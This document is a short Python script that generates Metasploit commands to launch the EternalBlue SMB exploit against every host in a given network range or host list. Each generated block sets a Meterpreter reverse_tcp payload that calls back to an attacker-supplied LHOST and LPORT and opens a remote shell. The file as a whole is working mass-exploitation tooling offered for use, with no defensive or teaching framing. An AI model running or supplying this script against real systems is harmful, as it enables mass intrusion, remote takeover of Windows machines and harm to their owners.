msfhelper.py

#!/usr/bin/env python
# Author Dario Clavijo 2018
import sys
import ipaddress
import pyping

no_ping = True

exploit = "exploit/windows/smb/ms17_010_eternalblue"
meterpreter = "windows/meterpreter/reverse_tcp"

payload = """use %s 
set RHOST %s
set LHOST %s
set LPORT %s
set PAYLOAD %s
exploit"""

if len(sys.argv) == 1:
    print("usage:", sys.argv[0], "[OPT] [ARG]")
    print("\t-n [network/mask] [LHOST:LPORT]")
    print("\t-f [hostfile] [LHOST:LPORT]")
    exit(0)

opt = sys.argv[1]
lhost = sys.argv[3].split(":")
local_host = lhost[0]
local_port = lhost[1]

if opt == "-f":
    fp = open(sys.argv[2], "r")
    remote_hosts = [line.strip() for line in fp if line.find("#") == -1]
elif opt == "-n":
    remote_hosts = list(ipaddress.IPv4Network(str(sys.argv[2]), strict=False).hosts())

for remote_host in remote_hosts:
    if not no_ping and pyping.ping(str(remote_host)) or no_ping:
        print(payload % (exploit, remote_host, local_host, local_port, meterpreter))
print("exit")